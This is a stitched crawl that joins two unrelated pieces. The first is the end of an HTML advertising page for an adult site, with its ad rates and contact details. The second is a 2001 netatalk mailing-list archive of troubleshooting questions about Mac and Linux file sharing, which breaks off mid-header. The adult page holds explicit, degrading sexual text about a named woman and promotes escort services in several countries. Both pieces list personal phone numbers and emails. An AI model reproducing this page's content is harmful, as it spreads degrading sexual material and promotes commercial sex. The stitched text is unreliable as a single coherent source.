                  href="http://www.zlobecsport-amateurs.com"><font size="-2" face="sans-serif"><b><font color="#333333" face="Arial">http://www.zlobecsport-amateurs.com</font></b></font></a></td>
            </tr>
            <tr bgcolor="#F8F8F8"> 
              <td colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          
        </div>
        <div class=horizFade><img height=1 alt="" 
            src="Fashion Net Summary_files/fade.horiz.gif" width=200 
            border=0></div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font face="sans-serif" size="1"><b><font size="-2" color="#666666" face="Arial">Site 
                Description</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="174">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="174"> 
                <div class=snapshotBody> 
                  <p><font face="Arial, Helvetica, sans-serif" size="1">If you 
                    are here to see only hardcore porn, you are at the wrong website. 
                    This site is dedicated to the lovers of vintage, girdles, 
                    toes and feet, extreme heels, rubber, sm, latex, toys, spanking 
                    and more. Find your fetish here! <i>You won't find pussy-in-your-face 
                    shots only.</i><b> This site is sophisticated and classy.</b></font></p>
                  <p><font face="Arial, Helvetica, sans-serif" size="1">The radical 
                    developments may demand radical questions. Can artistic intention 
                    and the theatermakers' desire to design a presentation find 
                    their continuation on the Internet stage? What does a stage 
                    set look like on the Net?</font><font face="Arial, Helvetica, sans-serif" size="2"> 
                    </font></p>
                </div>
              </td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=26>&nbsp;</td>
              <td class=snapshotSubhead width=508 height="26"><font size="-2" face="sans-serif"><b><font color="#666666" face="Arial">Site 
                Features</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr> 
              <td valign=top bgcolor=#e0e0e0 height="58">&nbsp;</td>
              <td valign=top bgcolor=#e0e0e0 height="58"> 
                <div class=snapshotBody> 
                  <p><font size="1" face="Arial, Helvetica, sans-serif"><br>
                     <b>INTERNET WHORE </b>- theatrical sex performances on the 
                    Internet stage / Photos of this whore are taken every four 
                    or five weeks. If you have any ideas what should happen to 
                    Annie next time please write to Annie_Antal@hotmail.com. Please 
                    send your comments and always remember: she just lives to 
                    show you her tits, her cumholes and whatever you want to see 
                    - for your pleasure!!! See that and more in Zlobecsport <i>art</i> 
                    GALLERY</font></p>
                </div>
                <div class=snapshotBody> 
                  <p><font size="1" face="Arial, Helvetica, sans-serif"> <b>Stylish 
                    Bondage and S&M</b>... Elegant bondage: &quot;Lastly, she 
                    had on black leather gloves with bracelets over the gloves 
                    that matched her black and gold Chanel earings. In one of 
                    her gloved hands she clutched a fabulous 36" square Bulgari 
                    scarf that had been neatly folded.&quot; </font></p>
                  <div class=snapshotBody> 
                    <p><font size="1" face="Arial, Helvetica, sans-serif"><b>ESCORT 
                      SERVICES</b>: Check prices in Russia, Argentina, Brazil, 
                      Croatia...<br>
                      <br>
                      <b>Thousands of daily FREE hardcore Videos</b>: We have 
                      hand-picked them for being the best quality sites available 
                      and think you'll enjoy them all! </font></p>
                    <p><font face="Arial, Helvetica, sans-serif" size="1"><i><b><font color="#0000FF">Find 
                      all that and more FOR FREE!!!!</font></b></i></font></p>
                  </div>
                </div>
                <div class=snapshotBody></div>
              </td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font size="-2" face="sans-serif"><b><font color="#666666" face="Arial">Unique 
                Advertising Opportunity</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="14">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="14"> 
                <div class=snapshotBody><font size="1" face="Arial, Helvetica, sans-serif"><br>
                  ZlobecsportAMATEURS is considered the place to find the best 
                  erotica and art content on the Internet. <br>
                  <br>
                   Rich Media Enabled: ZlobecsportAMATEURS can accept banners 
                  created with HTML, Java, ShockWave, VRML and other advanced 
                  technologies.<br>
                  <br>
                  Click-through rates for ads are high on ZlobecsportAMATEURS 
                  (typically between 4-8%). <br>
                  </font></div>
                <div class=snapshotTopLink> </div>
              </td>
            </tr>
            <tr> 
              <td height="2">&nbsp;</td>
              <td height="2">&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font size="-2"><b><font face="Arial" color="#666666">Site 
                Statistics</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="55">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="55"> 
                <div class=snapshotBody>
                  <div align="left"><b><font size="1" face="Arial, Helvetica, sans-serif"><br>
                    Monthly Ad Impressions:</font></b><font size="1" face="Arial, Helvetica, sans-serif"> 
                    379,500<br>
                    <b>Monthly Unique Visitors:</b> 60,000 <br>
                    <b>Average Visit Length:</b> 5.42 minutes<br>
                    <br>
                    <span 
                  class=smallText> </span></font></div>
                </div>
                <div class=snapshotTopLink> </div>
              </td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> </div>
        <div class=snapshotTables> </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font size="-2" face="sans-serif"><b><font color="#666666" face="Arial">Current 
                Sponsorship Packages</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <!--<TR><TD BGCOLOR="#E0E0E0"><DIV CLASS="snapshotBody">Customized Sponsorships are available on all DoubleClick Select sites.<br><div class="bulList">&#8226; FashionNet Home Page and Shopping Sponsorship</div></DIV>-->
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="2">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="2"> 
                <div class=snapshotBody><font size="1" face="Arial, Helvetica, sans-serif"><br>
                  Customized Sponsorships are available on all Select sites.<br>
                  </font> 
                  <div class=snapshotBody><font size="1" face="Arial, Helvetica, sans-serif"> 
                    ZlobecsportAMATEURS Enter Page, Home Page, New Entries and 
                    Gallery Page <br>
                    <br>
                    </font></div>
                </div>
                <div class=snapshotTopLink></div>
              </td>
            </tr>
            <tr> 
              <td>&nbsp;</td>
              <td>&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font size="-2"><b><font face="Arial" color="#666666">Rate 
                Card</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="2">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="2"> 
                <div class=snapshotBody><font size="1" face="Arial, Helvetica, sans-serif"><br>
                  </font><font size="1" face="Arial, Helvetica, sans-serif">Targeting 
                  ZlobecsportAMATEURS - $10 CPM (Cost per thousand banner impressions)<br>
                  All payments should be made payable to Zlobecsport<br>
                  (There is a minimum purchase of 5,000 impressions).</font><br>
                  <br>
                </div>
              </td>
            </tr>
            <tr> 
              <td height="2">&nbsp;</td>
              <td height="2">&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div class=snapshotTables> </div>
        <div class=snapshotTables> 
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <tbody> 
            <tr bgcolor=#cccc99> 
              <td width=12 height=19>&nbsp;</td>
              <td class=snapshotSubhead width=508><font size="-2"><b><font face="Arial" color="#666666">Contact 
                Information</font></b></font></td>
            </tr>
            <tr> 
              <td bgcolor=#ffffff colspan=2 height=1><spacer height="1" 
                  width="520" type="BLOCK"></spacer></td>
            </tr>
            </tbody> 
          </table>
          <table cellspacing=0 cellpadding=0 width=520 border=0>
            <!-- <TR><TD BGCOLOR="#E0E0E0"><DIV CLASS="snapshotBody">Melissa Sherman 
450 West 33rd Street, 16th floor 
New York, NY 10001 

Phone: 212- 271-8653 
Fax: 212-287-9150
Email: msherman@doubleclick.net<BR></DIV> -->
            <tbody> 
            <tr> 
              <td bgcolor=#e0e0e0 height="2" width="10">&nbsp;</td>
              <td bgcolor=#e0e0e0 height="2" width="510"> 
                <div class=snapshotBody><font size="1" face="Arial, Helvetica, sans-serif"><br>
                  Goran Radevski<br>
                  Efsier 55<br>
                  Zagreb, HR 10000<br>
                  Croatia <br>
                  <br>
                  Phone: 385-1-3631-699 <br>
                  Fax: 385-1-3631-699<br>
                  Email: <b>zlobecsport@net.hr</b></font><br>
                  <br>
                </div>
              </td>
            </tr>
            <tr> 
              <td width="10">&nbsp;</td>
              <td width="510">&nbsp;</td>
            </tr>
            </tbody> 
          </table>
        </div>
        <div><spacer height="1" width="549" 
        type="BLOCK"></spacer></div>
      </td>
    </tr>
    </tbody> 
  </table>
</div>
</body>
</html>

From netatalk.administrators-errors@umich.edu  Thu May 31 17:49:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA17189
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 May 2001 17:49:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00540
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 May 2001 17:49:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA00527
	for netatalk.administrators-members@umich.edu; Thu, 31 May 2001 17:49:30 -0400 (EDT)
Received: from smtp-server1.tampabay.rr.com (smtp-server1.tampabay.rr.com [65.32.1.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA00507
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 17:49:29 -0400 (EDT)
Received: from analogworm (ubr-33.166.157.sorlando.cfl.rr.com [65.33.166.157])
	by smtp-server1.tampabay.rr.com (8.11.2/8.11.2) with SMTP id f4VLnS509258
	for <netatalk-admins@umich.edu>; Thu, 31 May 2001 17:49:28 -0400 (EDT)
From: "erik hansen" <erik@visualflux.net>
To: <netatalk-admins@umich.edu>
Subject: Mac Avid (os 8.1) + netatalk
Date: Thu, 31 May 2001 17:57:42 -0400
Message-ID: <BKEPJGLJPPFJMJADCCCOEELBCJAA.erik@visualflux.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700


having a problem with our Avid system and netatalk,  the avid is running
OS8.1, with appletalk version 1.1.  there is no TCP/IP in the control panel,
or extension.  the server is running RedHat 7.0 with an rpm that i saw was
recommended on this list,  i think it's netatalk-1.5pre2-4.i386.rpm as thats
the only rpm that i can find on the box.

the avid can see the server in chooser, login with name/password,  sees the
available volumes but gets an error when it attempts to connect. "The
attempted connection to the server's volume has failed."

is this because netatalk is forcing a connection through TCP/IP?  and since
the box doesn't seem to be running TCP/IP it can't connect?  is this even
close to an exaplanation?  is there a solution?

thanks for any help!
-erik

// erik@visualflux.net
// visual flux
// 407.895.8250
// http://visualflux.net


From netatalk.administrators-errors@umich.edu  Fri Jun  1 15:13:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA29172
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 15:13:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04066
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 15:13:42 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04061
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 15:13:42 -0400 (EDT)
Received: from front2.netvisao.pt ([213.228.128.57])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA04036
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 15:13:40 -0400 (EDT)
Received: (qmail 9174 invoked from network); 1 Jun 2001 19:14:40 -0000
Received: from unknown (HELO ?217.129.119.206?) (217.129.119.206)
  by 213.228.128.57 with SMTP; 1 Jun 2001 19:14:40 -0000
Date: Fri, 1 Jun 2001 20:06:20 +0100 (BST)
From: "Pedro Miguel F. Custodio" <pecus@netvisao.pt>
X-X-Sender:  <pecus@fingers.rnl.ist.utl.pt>
To: <netatalk-admins@umich.edu>
Subject: MacOS X vs Linux HELP.
Message-ID: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id PAA29172


HI,

I've instaled the MacOS X in my iMacDV and everything worked fine unitl
i've tried to mount my home directory in my linux box. The MacOS does
login in my machine but disconnects imediatly after, so i can't access my
files on linux. I've tried to workout with afpd.conf but i still can't
manage to workit out.

Here's my afpd.conf

----------------------------------------
# (...)
#		"special" -notcp -defaultvol <path> -systemvol <path>
#
# default:
 - -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so -nosavepassword
server1 -port 12000 -tcp -noddp -ipaddr 192.168.0.1

----------------------------------------

And this is what i get in my /etc/messages:

Jun  1 20:05:46 fingers PAM-warn[712]: service: netatalk [on terminal:
afpd]
Jun  1 20:05:46 fingers PAM-warn[712]: user: (uid=0) -> pecus [remote:
?nobody@fingers]
Jun  1 20:05:46 fingers PAM-unix2[712]: session started for user pecus,
service
netatalk
Jun  1 20:05:46 fingers afpd[712]: login pecus (uid 500, gid 100)
Jun  1 20:05:46 fingers afpd[712]: options->admingid == 0
Jun  1 20:05:46 fingers afpd[712]: begin afp_getfildirparams:
(...)
Jun  1 20:03:06 fingers afpd[688]: begin afp_getfildirparams:
Jun  1 20:03:06 fingers afpd[688]: end afp_getfildirparams:
Jun  1 20:03:08 fingers afpd[688]: dsi_stream_read(0): No such process
Jun  1 20:03:08 fingers PAM-warn[688]: service: netatalk [on terminal:
afpd]
Jun  1 20:03:08 fingers PAM-warn[688]: user: (uid=0) -> pecus [remote:
?nobody@fingers]
Jun  1 20:03:08 fingers PAM-unix2[688]: session finished for user pecus,
service netatalk
Jun  1 20:03:08 fingers afpd[688]: 0.58KB read, 8.71KB written
Jun  1 20:03:08 fingers afpd[688]: Connection terminated
Jun  1 20:03:08 fingers afpd[629]: server_child[1] 688 exited 1


----------------------------------------


Any help would be great! Thanks.
Pedro Custódio


From netatalk.administrators-errors@umich.edu  Fri Jun  1 15:41:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 15:41:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14114
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 15:41:11 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14102
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 15:41:10 -0400 (EDT)
Received: from mail.megapump.com (mail.megapump.com [206.102.13.66])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA14077
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 15:41:08 -0400 (EDT)
Received: from localhost (brian@localhost)
	by mail.megapump.com (8.11.0/8.11.0) with ESMTP id f51JgAW10649;
	Fri, 1 Jun 2001 12:42:11 -0700
Date: Fri, 1 Jun 2001 12:42:10 -0700 (PDT)
From: Brian Hendrickson <brian@megapump.com>
To: "Pedro Miguel F. Custodio" <pecus@netvisao.pt>
cc: netatalk-admins@umich.edu
Subject: Re: MacOS X vs Linux HELP.
In-Reply-To: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
Message-ID: <Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT


In your afpd.conf you need to add a -loginmesg "something" to make the
login process work. But you probably won't be able to copy or use files on
the share once you get it mounted on your desktop. It just gives an error
"the file could not be found" every time I try to copy or move files.

I'm sure the developers are sorting all of this out right now for the
next release, but if anybody knows how to configure netatalk for Mac OS X,
please post to the list, thanks!

brian@megapump.com


On Fri, 1 Jun 2001, Pedro Miguel F. Custodio wrote:

> 
> HI,
> 
> I've instaled the MacOS X in my iMacDV and everything worked fine unitl
> i've tried to mount my home directory in my linux box. The MacOS does
> login in my machine but disconnects imediatly after, so i can't access my
> files on linux. I've tried to workout with afpd.conf but i still can't
> manage to workit out.
> 
> Here's my afpd.conf
> 
> ----------------------------------------
> # (...)
> #		"special" -notcp -defaultvol <path> -systemvol <path>
> #
> # default:
>  - -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so -nosavepassword
> server1 -port 12000 -tcp -noddp -ipaddr 192.168.0.1
> 
> ----------------------------------------
> 
> And this is what i get in my /etc/messages:
> 
> Jun  1 20:05:46 fingers PAM-warn[712]: service: netatalk [on terminal:
> afpd]
> Jun  1 20:05:46 fingers PAM-warn[712]: user: (uid=0) -> pecus [remote:
> ?nobody@fingers]
> Jun  1 20:05:46 fingers PAM-unix2[712]: session started for user pecus,
> service
> netatalk
> Jun  1 20:05:46 fingers afpd[712]: login pecus (uid 500, gid 100)
> Jun  1 20:05:46 fingers afpd[712]: options->admingid == 0
> Jun  1 20:05:46 fingers afpd[712]: begin afp_getfildirparams:
> (...)
> Jun  1 20:03:06 fingers afpd[688]: begin afp_getfildirparams:
> Jun  1 20:03:06 fingers afpd[688]: end afp_getfildirparams:
> Jun  1 20:03:08 fingers afpd[688]: dsi_stream_read(0): No such process
> Jun  1 20:03:08 fingers PAM-warn[688]: service: netatalk [on terminal:
> afpd]
> Jun  1 20:03:08 fingers PAM-warn[688]: user: (uid=0) -> pecus [remote:
> ?nobody@fingers]
> Jun  1 20:03:08 fingers PAM-unix2[688]: session finished for user pecus,
> service netatalk
> Jun  1 20:03:08 fingers afpd[688]: 0.58KB read, 8.71KB written
> Jun  1 20:03:08 fingers afpd[688]: Connection terminated
> Jun  1 20:03:08 fingers afpd[629]: server_child[1] 688 exited 1
> 
> 
> ----------------------------------------
> 
> 
> Any help would be great! Thanks.
> Pedro Custódio
> 


From netatalk.administrators-errors@umich.edu  Fri Jun  1 15:51:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA00906
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 15:51:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04515
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 15:51:31 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04505
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 15:51:30 -0400 (EDT)
Received: from mail.megapump.com (mail.megapump.com [206.102.13.66])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA04472
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 15:51:29 -0400 (EDT)
Received: from localhost (brian@localhost)
	by mail.megapump.com (8.11.0/8.11.0) with ESMTP id f51JqK510664;
	Fri, 1 Jun 2001 12:52:20 -0700
Date: Fri, 1 Jun 2001 12:52:20 -0700 (PDT)
From: Brian Hendrickson <brian@megapump.com>
To: "Pedro Miguel F. Custodio" <pecus@netvisao.pt>
cc: netatalk-admins@umich.edu
Subject: Re: MacOS X vs Linux HELP.
In-Reply-To: <Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
Message-ID: <Pine.LNX.4.21.0106011248480.10641-100000@mail.megapump.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT


I should have mentioned that you are probably struggling with version
1.5pre6. I have other Linux boxes with 1.4xx that work well with Mac OS
X. So one way to solve the problem is find an older version of
netatalk. I've been using 1.5pre6 because it offers great speed
improvements for classic Mac OS clients, but I can't make it work at all 
with Mac OS X. -- Brian

On Fri, 1 Jun 2001, Brian Hendrickson wrote:

> 
> In your afpd.conf you need to add a -loginmesg "something" to make the
> login process work. But you probably won't be able to copy or use files on
> the share once you get it mounted on your desktop. It just gives an error
> "the file could not be found" every time I try to copy or move files.
> 
> I'm sure the developers are sorting all of this out right now for the
> next release, but if anybody knows how to configure netatalk for Mac OS X,
> please post to the list, thanks!
> 
> brian@megapump.com
> 
> 
> On Fri, 1 Jun 2001, Pedro Miguel F. Custodio wrote:
> 
> > 
> > HI,
> > 
> > I've instaled the MacOS X in my iMacDV and everything worked fine unitl
> > i've tried to mount my home directory in my linux box. The MacOS does
> > login in my machine but disconnects imediatly after, so i can't access my
> > files on linux. I've tried to workout with afpd.conf but i still can't
> > manage to workit out.
> > 
> > Here's my afpd.conf
> > 
> > ----------------------------------------
> > # (...)
> > #		"special" -notcp -defaultvol <path> -systemvol <path>
> > #
> > # default:
> >  - -transall -uamlist uams_guest.so,uams_clrtxt.so,uams_dhx.so -nosavepassword
> > server1 -port 12000 -tcp -noddp -ipaddr 192.168.0.1
> > 
> > ----------------------------------------
> > 
> > And this is what i get in my /etc/messages:
> > 
> > Jun  1 20:05:46 fingers PAM-warn[712]: service: netatalk [on terminal:
> > afpd]
> > Jun  1 20:05:46 fingers PAM-warn[712]: user: (uid=0) -> pecus [remote:
> > ?nobody@fingers]
> > Jun  1 20:05:46 fingers PAM-unix2[712]: session started for user pecus,
> > service
> > netatalk
> > Jun  1 20:05:46 fingers afpd[712]: login pecus (uid 500, gid 100)
> > Jun  1 20:05:46 fingers afpd[712]: options->admingid == 0
> > Jun  1 20:05:46 fingers afpd[712]: begin afp_getfildirparams:
> > (...)
> > Jun  1 20:03:06 fingers afpd[688]: begin afp_getfildirparams:
> > Jun  1 20:03:06 fingers afpd[688]: end afp_getfildirparams:
> > Jun  1 20:03:08 fingers afpd[688]: dsi_stream_read(0): No such process
> > Jun  1 20:03:08 fingers PAM-warn[688]: service: netatalk [on terminal:
> > afpd]
> > Jun  1 20:03:08 fingers PAM-warn[688]: user: (uid=0) -> pecus [remote:
> > ?nobody@fingers]
> > Jun  1 20:03:08 fingers PAM-unix2[688]: session finished for user pecus,
> > service netatalk
> > Jun  1 20:03:08 fingers afpd[688]: 0.58KB read, 8.71KB written
> > Jun  1 20:03:08 fingers afpd[688]: Connection terminated
> > Jun  1 20:03:08 fingers afpd[629]: server_child[1] 688 exited 1
> > 
> > 
> > ----------------------------------------
> > 
> > 
> > Any help would be great! Thanks.
> > Pedro Custódio
> > 
> 


From netatalk.administrators-errors@umich.edu  Fri Jun  1 16:19:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA02092
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 16:19:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 16:19:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA27243
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 16:18:59 -0400 (EDT)
Received: from jason02.u.washington.edu (jason02.u.washington.edu [140.142.8.52])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA27120
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 16:18:54 -0400 (EDT)
Received: from homer39.u.washington.edu (cent@homer39.u.washington.edu [140.142.16.5])
	by jason02.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f51KIq041302;
	Fri, 1 Jun 2001 13:18:53 -0700
Received: from localhost (cent@localhost)
	by homer39.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f51KImY98698;
	Fri, 1 Jun 2001 13:18:48 -0700
Date: Fri, 1 Jun 2001 13:18:48 -0700 (PDT)
From: R Cent <cent@u.washington.edu>
To: <JSherry@goldenbooks.com>
cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: RE: Changing Passwords
In-Reply-To: <001B37A1.C21126@goldenbooks.com>
Message-ID: <Pine.A41.4.33.0106011310510.122300-100000@homer39.u.washington.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


> I found that by adding "-setpassword" to your server config
> line in afpd.conf, the change password dialog becomes
> accessible.


Hi,

The information above made the change password button available
and it accepted me new password, but it reported:

"Your password could not be changed.  Please try again or
contact your system administrator."

I am using Mandrake Linux 7.0.2 with
netatalk-1.42+asun2.1.3-7.i386.rpm.  Any other ideas might
enable my users to change their passwords?  Thanks

_____________________________
Bob Cent
University of Washington
Box 357330
Seattle, WA  98195-7330

mailto: cent@u.washington.edu
voice:  206.543.1433
fax:    206.685.0305
_____________________________


From netatalk.administrators-errors@umich.edu  Fri Jun  1 16:23:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA02268
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Jun 2001 16:23:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19415
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Jun 2001 16:23:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA19393
	for netatalk.administrators-members@umich.edu; Fri, 1 Jun 2001 16:23:09 -0400 (EDT)
Received: from alert.infoplease.com (range.infoplease.com [207.121.98.49])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA19378
	for <netatalk-admins@umich.edu>; Fri, 1 Jun 2001 16:23:07 -0400 (EDT)
Received: from griddle.infoplease.com (IDENT:root@griddle [10.0.1.210])
	by alert.infoplease.com (8.11.0/8.11.0) with ESMTP id f51KN5u26816;
